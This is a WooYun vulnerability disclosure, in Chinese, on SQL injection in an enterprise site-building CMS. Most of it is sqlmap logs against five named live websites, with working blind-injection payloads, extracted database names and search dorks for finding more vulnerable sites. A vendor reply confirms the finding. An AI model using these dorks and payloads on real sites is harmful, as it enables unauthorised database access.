当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072173

漏洞标题:某企业建站系统多处sql注入

相关厂商:某企业建站系统

漏洞作者: Mosuan

提交时间:2014-08-13 10:42

修复时间:2014-11-11 10:44

公开时间:2014-11-11 10:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-13: 细节已通知厂商并且等待厂商处理中
2014-08-18: 厂商已经确认,细节仅向厂商公开
2014-08-21: 细节向第三方安全合作伙伴开放
2014-10-12: 细节向核心白帽子及相关领域专家公开
2014-10-22: 细节向普通白帽子公开
2014-11-01: 细节向实习白帽子公开
2014-11-11: 细节向公众公开

简要描述:

rt

详细说明:

关键词

注入1:inurl:company.php?cat_pid=
注入2:inurl:honor.php?cat_id=
注入3:inurl:video.php?cat_pid=
注入4:inurl:event.php?cat_pid=
注入5:inurl:media.php?cat_pid=
注入6:inurl:research.php?cat_pid=


下面仅拿一个演示
举几个例子

注入地址:http://www.anhuixinke.com/honor.php?cat_pid=2&cat_id=14&cat_flage=0
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 05:02:19
[05:02:20] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.anhuixinke.com\session' as session file
[05:02:20] [INFO] testing connection to the target url
[05:02:21] [INFO] testing if the url is stable, wait a few seconds
[05:02:24] [INFO] url is stable
[05:02:24] [INFO] testing if GET parameter 'cat_pid' is dynamic
[05:02:24] [WARNING] GET parameter 'cat_pid' appears to be not dynamic
[05:02:25] [INFO] heuristic test shows that GET parameter 'cat_pid' might be inj
ectable (possible DBMS: MySQL)
[05:02:25] [INFO] testing sql injection on GET parameter 'cat_pid'
[05:02:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[05:02:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[05:02:30] [INFO] heuristics detected web page charset 'GB2312'
[05:02:31] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[05:02:32] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[05:03:24] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:03:24] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[05:03:55] [INFO] GET parameter 'cat_pid' is 'MySQL > 5.0.11 AND time-based blin
d' injectable
[05:03:55] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[05:04:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[05:04:21] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:04:46] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:05:08] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:05:31] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:05:32] [INFO] checking if the injection point on GET parameter 'cat_pid' is
a false positive
[05:06:03] [WARNING] false positive or unexploitable injection point detected
[05:06:03] [WARNING] GET parameter 'cat_pid' is not injectable
[05:06:03] [INFO] testing if GET parameter 'cat_id' is dynamic
[05:06:03] [INFO] confirming that GET parameter 'cat_id' is dynamic
[05:06:24] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:06:26] [INFO] GET parameter 'cat_id' is dynamic
[05:06:26] [WARNING] heuristic test shows that GET parameter 'cat_id' might not
be injectable
[05:06:26] [INFO] testing sql injection on GET parameter 'cat_id'
[05:06:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[05:06:47] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:06:51] [INFO] GET parameter 'cat_id' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[05:06:51] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[05:06:51] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[05:06:52] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
parsed error message(s) showed that the back-end DBMS could be MySQL. Do you wan
t to skip test payloads specific for other DBMSes? [Y/n]
[05:07:27] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[05:07:31] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[05:07:55] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:07:58] [INFO] checking if the injection point on GET parameter 'cat_id' is a
false positive
GET parameter 'cat_id' is vulnerable. Do you want to keep testing the others (if
any)? [y/N]
sqlmap identified the following injection points with a total of 80 HTTP(s) requ
ests:
---
Place: GET
Parameter: cat_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat_pid=2&cat_id=14 AND 5397=5397&cat_flage=0
---
[05:08:06] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: PHP 5.2.6, ASP.NET, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0.11
[05:08:06] [INFO] fetching database names
[05:08:06] [INFO] fetching number of databases
[05:08:06] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[05:08:06] [INFO] retrieved:
[05:08:16] [ERROR] unable to retrieve the number of databases
[05:08:16] [INFO] falling back to current database
[05:08:16] [INFO] fetching current database
[05:08:16] [INFO] retrieved:
[05:08:37] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
sq_
[05:09:17] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:09:41] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
anh
[05:10:16] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:10:40] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
u
[05:11:05] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
i
[05:11:32] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:11:54] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:12:16] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
xinke
available databases [1]:
[*] sq_anhuixinke
[05:12:46] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.anhuixinke.com'
[*] shutting down at 05:12:46


注入地址:http://www.xinruigroup.com.cn/en/honor.php?cat_pid=9&cat_id=32&cat_flag
e=0
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 05:03:12
[05:03:13] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.xinruigroup.com.cn\session' as session file
[05:03:13] [INFO] testing connection to the target url
[05:03:14] [INFO] testing if the url is stable, wait a few seconds
[05:03:15] [INFO] url is stable
[05:03:15] [INFO] testing if GET parameter 'cat_pid' is dynamic
[05:03:16] [INFO] confirming that GET parameter 'cat_pid' is dynamic
[05:03:16] [WARNING] GET parameter 'cat_pid' appears to be not dynamic
[05:03:17] [INFO] heuristic test shows that GET parameter 'cat_pid' might be inj
ectable (possible DBMS: MySQL)
[05:03:17] [INFO] testing sql injection on GET parameter 'cat_pid'
[05:03:17] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[05:03:19] [INFO] GET parameter 'cat_pid' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[05:03:19] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[05:03:19] [INFO] heuristics detected web page charset 'GB2312'
[05:03:19] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[05:03:20] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[05:04:11] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:04:11] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[05:04:42] [INFO] GET parameter 'cat_pid' is 'MySQL > 5.0.11 AND time-based blin
d' injectable
[05:04:42] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[05:04:46] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[05:05:08] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
GET parameter 'cat_pid' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N]
sqlmap identified the following injection points with a total of 31 HTTP(s) requ
ests:
---
Place: GET
Parameter: cat_pid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat_pid=9 AND 7276=7276&cat_id=32&cat_flage=0
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: cat_pid=9 AND SLEEP(5)&cat_id=32&cat_flage=0
---
[05:05:54] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: PHP 5.2.6, ASP.NET, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0.11
[05:05:54] [INFO] fetching database names
[05:05:54] [INFO] fetching number of databases
[05:05:54] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[05:05:54] [INFO] retrieved:
[05:05:55] [ERROR] unable to retrieve the number of databases
[05:05:55] [INFO] falling back to current database
[05:05:55] [INFO] fetching current database
[05:05:55] [INFO] retrieved:
[05:06:16] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
s
[05:06:44] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
q
[05:07:10] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
_xinr
[05:07:50] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:08:12] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
u
[05:08:36] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
i
[05:09:02] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
g
[05:09:27] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:09:49] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
r
[05:10:16] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:10:38] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
o
[05:11:02] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
up
[05:11:32] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
available databases [1]:
[*] sq_xinruigroup
[05:11:35] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 49 times
[05:11:35] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.xinruigroup.com.cn'


注入地址:http://www.hjjychina.com/honor.php?cat_pid=1&cat_flage=0&cat_id=9
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 05:03:49
[05:03:50] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.hjjychina.com\session' as session file
[05:03:50] [INFO] testing connection to the target url
[05:03:51] [INFO] testing if the url is stable, wait a few seconds
[05:03:52] [INFO] url is stable
[05:03:52] [INFO] testing if GET parameter 'cat_pid' is dynamic
[05:03:53] [INFO] confirming that GET parameter 'cat_pid' is dynamic
[05:04:14] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:04:16] [INFO] GET parameter 'cat_pid' is dynamic
[05:04:18] [INFO] heuristic test shows that GET parameter 'cat_pid' might be inj
ectable (possible DBMS: MySQL)
[05:04:18] [INFO] testing sql injection on GET parameter 'cat_pid'
[05:04:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[05:04:21] [INFO] GET parameter 'cat_pid' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[05:04:21] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[05:04:21] [INFO] heuristics detected web page charset 'GB2312'
[05:04:21] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[05:04:22] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
parsed error message(s) showed that the back-end DBMS could be MySQL. Do you wan
t to skip test payloads specific for other DBMSes? [Y/n]
[05:04:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[05:05:16] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:05:16] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[05:05:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[05:05:41] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:06:06] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:06:08] [INFO] checking if the injection point on GET parameter 'cat_pid' is
a false positive
GET parameter 'cat_pid' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N]
sqlmap identified the following injection points with a total of 34 HTTP(s) requ
ests:
---
Place: GET
Parameter: cat_pid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat_pid=1 AND 6369=6369&cat_flage=0&cat_id=9
---
[05:07:22] [INFO] testing MySQL
[05:07:23] [INFO] confirming MySQL
[05:07:27] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: PHP 5.2.6, ASP.NET, Microsoft IIS 6.0
back-end DBMS: MySQL >= 5.0.0
[05:07:27] [INFO] fetching database names
[05:07:27] [INFO] fetching number of databases
[05:07:27] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[05:07:27] [INFO] retrieved:
[05:07:28] [ERROR] unable to retrieve the number of databases
[05:07:28] [INFO] falling back to current database
[05:07:28] [INFO] fetching current database
[05:07:28] [INFO] retrieved:
[05:07:32] [CRITICAL] unable to retrieve the database names
[*] shutting down at 05:07:32


注入地址:http://www.ahcom.cn/honor.php?cat_pid=1&cat_id=13&cat_flage=0
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 05:04:18
[05:04:18] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.ahcom.cn\session' as session file
[05:04:18] [INFO] testing connection to the target url
[05:04:19] [INFO] testing if the url is stable, wait a few seconds
[05:04:21] [INFO] url is stable
[05:04:21] [INFO] testing if GET parameter 'cat_pid' is dynamic
[05:04:22] [INFO] confirming that GET parameter 'cat_pid' is dynamic
[05:04:23] [INFO] GET parameter 'cat_pid' is dynamic
[05:04:24] [INFO] heuristic test shows that GET parameter 'cat_pid' might be inj
ectable (possible DBMS: MySQL)
[05:04:24] [INFO] testing sql injection on GET parameter 'cat_pid'
[05:04:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[05:04:45] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:04:50] [INFO] GET parameter 'cat_pid' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[05:04:50] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[05:04:50] [INFO] heuristics detected web page charset 'GB2312'
[05:04:50] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[05:05:11] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:05:13] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
parsed error message(s) showed that the back-end DBMS could be MySQL. Do you wan
t to skip test payloads specific for other DBMSes? [Y/n]
[05:05:47] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[05:06:10] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:06:10] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[05:06:34] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:06:36] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[05:06:41] [INFO] checking if the injection point on GET parameter 'cat_pid' is
a false positive
GET parameter 'cat_pid' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N]
sqlmap identified the following injection points with a total of 34 HTTP(s) requ
ests:
---
Place: GET
Parameter: cat_pid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat_pid=1 AND 7235=7235&cat_id=13&cat_flage=0
---
[05:07:25] [INFO] testing MySQL
[05:07:26] [INFO] confirming MySQL
[05:07:28] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: PHP 5.2.6, ASP.NET, Microsoft IIS 6.0
back-end DBMS: MySQL >= 5.0.0
[05:07:28] [INFO] fetching database names
[05:07:28] [INFO] fetching number of databases
[05:07:28] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[05:07:28] [INFO] retrieved:
[05:07:50] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:07:52] [ERROR] unable to retrieve the number of databases
[05:07:52] [INFO] falling back to current database
[05:07:52] [INFO] fetching current database
[05:07:52] [INFO] retrieved:
[05:08:15] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:08:39] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
s
[05:09:07] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
q
[05:09:35] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:09:57] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
_hsyj
[05:10:51] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
y
[05:11:15] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
available databases [1]:
[*] sq_hsyjy
[05:11:21] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.ahcom.cn'


注入地址:http://hn999.com/honor.php?cat_pid=1&cat_id=20
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 05:03:31
[05:03:31] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\hn999.com\session' as session file
[05:03:31] [INFO] testing connection to the target url
[05:03:52] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:03:52] [WARNING] if the problem persists please check that the provided targ
et url is valid. If it is, you can try to rerun with the switch '--random-agent'
turned on and/or proxy switches (--ignore-proxy, --proxy,...)
[05:03:54] [INFO] testing if the url is stable, wait a few seconds
[05:03:55] [INFO] url is stable
[05:03:55] [INFO] testing if GET parameter 'cat_pid' is dynamic
[05:03:56] [INFO] confirming that GET parameter 'cat_pid' is dynamic
[05:03:57] [INFO] GET parameter 'cat_pid' is dynamic
[05:03:58] [WARNING] heuristic test shows that GET parameter 'cat_pid' might not
be injectable
[05:03:58] [INFO] testing sql injection on GET parameter 'cat_pid'
[05:03:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[05:04:21] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:04:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[05:04:37] [INFO] heuristics detected web page charset 'GB2312'
[05:04:39] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[05:05:00] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:05:23] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:05:24] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[05:05:45] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:05:48] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[05:05:50] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[05:06:00] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[05:06:22] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:06:22] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[05:06:23] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[05:06:25] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[05:06:48] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:07:10] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:07:11] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[05:07:33] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:07:35] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[05:07:57] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:07:59] [INFO] testing 'Oracle AND time-based blind'
[05:08:21] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:08:43] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:08:46] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[05:09:07] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:09:32] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:10:00] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:10:23] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:10:50] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:10:57] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[05:10:57] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[05:11:21] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:11:47] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:12:14] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:12:40] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:12:43] [WARNING] GET parameter 'cat_pid' is not injectable
[05:12:43] [INFO] testing if GET parameter 'cat_id' is dynamic
[05:12:43] [INFO] confirming that GET parameter 'cat_id' is dynamic
[05:12:44] [INFO] GET parameter 'cat_id' is dynamic
[05:12:45] [INFO] heuristic test shows that GET parameter 'cat_id' might be inje
ctable (possible DBMS: MySQL)
[05:12:45] [INFO] testing sql injection on GET parameter 'cat_id'
[05:12:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[05:13:06] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[05:13:11] [INFO] GET parameter 'cat_id' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[05:13:11] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[05:13:11] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[05:13:12] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
parsed error message(s) showed that the back-end DBMS could be MySQL. Do you wan
t to skip test payloads specific for other DBMSes? [Y/n]
[05:20:43] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[05:20:44] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[05:20:45] [INFO] target url appears to have 1 columns in query
[05:20:46] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[05:20:46] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[05:20:46] [INFO] checking if the injection point on GET parameter 'cat_id' is a
false positive
GET parameter 'cat_id' is vulnerable. Do you want to keep testing the others (if
any)? [y/N]
sqlmap identified the following injection points with a total of 178 HTTP(s) req
uests:
---
Place: GET
Parameter: cat_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat_pid=1&cat_id=20 AND 1817=1817
---
[05:20:49] [INFO] testing MySQL
[05:20:50] [INFO] confirming MySQL
[05:20:51] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: PHP 5.2.6, ASP.NET, Microsoft IIS 6.0
back-end DBMS: MySQL >= 5.0.0
[05:20:51] [INFO] fetching database names
[05:20:51] [INFO] fetching number of databases
[05:20:51] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[05:20:51] [INFO] retrieved:
[05:20:53] [ERROR] unable to retrieve the number of databases
[05:20:53] [INFO] falling back to current database
[05:20:53] [INFO] fetching current database
[05:20:53] [INFO] retrieved: sq_h
[05:21:30] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
n999
[05:22:07] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
available databases [1]:
[*] sq_hn999
[05:22:12] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\hn999.com'
[*] shutting down at 05:22:12

漏洞证明:

function

修复方案:

过滤

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2014-08-18 08:08

厂商回复:

CNVD确认并复现所述情况,根据案例测试情况,确认为朝华企业建站系统,已经由CNVD通过开发方公开的QQ邮箱向其通报。

最新状态:

暂无


漏洞评价:

评论